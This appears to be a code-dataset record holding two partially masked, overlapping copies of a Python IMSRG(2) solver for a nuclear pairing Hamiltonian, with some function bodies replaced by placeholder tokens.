in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 